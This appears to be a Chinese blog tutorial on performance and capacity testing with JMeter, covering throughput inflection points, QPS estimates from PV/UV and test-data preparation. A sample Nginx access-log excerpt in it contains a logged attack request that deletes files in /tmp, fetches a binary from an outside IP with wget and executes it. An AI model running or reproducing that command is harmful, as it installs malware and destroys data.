公众号搜索:TestingStudio 霍格沃兹测试开发的干货都很硬核
如下的测试模型来简单的说明测试中需要关注的点和测试的目的
字段说明
1、横轴 : 代表并发数,也就对应着Jmeter里面的线程数
2、Utizilation(U) :资源利用率
3、Throughput(X): 吞吐量,对应QPS或TPS
4、ResponseTime :响应时间
拐点分析:
第一条虚线处的拐点代表着随着并发数的增加,资源利用率(CPU资源等)和吞吐量也在伴随着递增, 这个时候我们的响应时间有小幅度的增加,但是在可接受的范围之内;在这个点是做容量规划最好的参考点
第二条虚线处的拐点表示随着并发数的继续增加,系统资源已经到达了瓶颈,吞吐量开始明显下降,响应时间会大幅增加,也就是说已经到达了性能的瓶颈,请求队列开始挤压,这个时候已经严重影响用户体验或者有系统崩溃的风险。
此处从性能需求目标与业务模型拆解两方面着手,
1、目标场景分类:
注:在后面的演示中,会以新系统上线的容量测试为例,目标为获取系统最大容量
字段说明:
基准测试:见下图,我的理解就是性能测试,找到最优的QPS(TPS)点
容量测试:见下图,我的理解为压力测试,在达到性能瓶颈后继续加压,测试系统的最大承载量
新系统想要确定测试基准,就需要拿到数据,而产品一般是不会直接告诉我们QPS的,产品会告诉我们 PV/UV 天。
根据 PV、UV 再结合业务场景来计算确认我们的测试需求;将其转化为小时或分钟,或秒;另外业务场景可能会几种在某个时间段,比如工作日的8个小时时间:
UV:或者外卖产品则集中在午饭和晚饭的2个小时时间段,假如UV为1000w/天,那么高峰时段占了总用户数的80%:
1000w * 80% / (4*3600) = 每秒的并发用户数
PV:PV可以直接对应到QPS指标,好比一个电商产品,产品分别给出了首页、商品页、订单页的PV,便可依此来进行性能测试的基准设计。如果粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600
2、根据具体的性能测试需求,确定测试类型以及压测的模块(web/mysql/redis/系统整体)
3、前期要与相关人员充分沟通,初步确定压测方案及具体性能指标
4、QA完成性能测试设计后,需产出测试方案文档发送邮件到项目组,并且再次与相关人员沟通(或者组织性能测试评审),确认是否满足需求
数据的准备可以如下几点:
1、接口请求参数:自己构造、日志获取、上下关联
例如,我们的请求是通过Nginx转发的,那么可以通过Nginx的日志来获取请求数据,现有如下的log:
现在我们可以利用Linux三剑客中的awk命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的请求:
$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
8 http://www.baidu.com/cache/global/img/gs.gif
5 /index.php
4 mstshash=Administr"
4 /license.txt
4 ip.ws.126.net:443
4 "
2 /sso/getAuthCode?telephone=17138134641
2 /sso/getAuthCode?telephone=17127460936
2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
2 /robots.txt
2 /phpmyadmin/
复制代码
有些数据我们是无法提前获取的,好比用户的订单数据和购物车数据,这些需要用户下单后生成,因此就需要在下单接口后通过上下关联的接口返回值来获取
2、数据表的数据填充:可以利用jmeter的高并发通过接口来提前创建数据
3、如果是多接口,则需要结合业务场景设计请求比例:比如用户浏览主页的PV和浏览商户的比例为1:2,那么接口的比例设计也就按照1:2来设计。
1.发压工具准备-jmeter简介
(1) 集成包,解压即可使用,Windowns, Linux, Mac通用(依赖Java环境)
(2) jmx文件为xml文件,Win,Linux环境均可运行
(3) 多线程并发
(4) 运行完脚本会生成jtl日志,可在Win、Mac环境界面中查看、统计
使用jmeter可以做到:
(1) HTTP
(2) 其他
3.命令启动,Jmeter 本身也是软件,也有自己的承载限制,所以真正测试过程还是要以命令行运行的方式,UI 可以作为编写和调试脚本使用
启压:./jmeter -n -t hb.jmx-l hb.jtl
1、根据测试过程中记录的各项参数,结合压测工具产生的日志,对测试结果进行分析,并产出测试报告
2、测试完成后,及时与相关人员沟通,确认是都满足需求
3、发送测试报告邮件
以上只是做了个性能测试的基础知识铺垫,后续在此理论基础上,以电商业务为背景,结合 Docker+Jmeter+Influx+Grafana 完成一个实例压测与监控~
页面更新:2024-03-06
本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828
© CopyRight 2008-2024 All Rights Reserved. Powered By bs178.com 闽ICP备11008920号-3
闽公网安备35020302034844号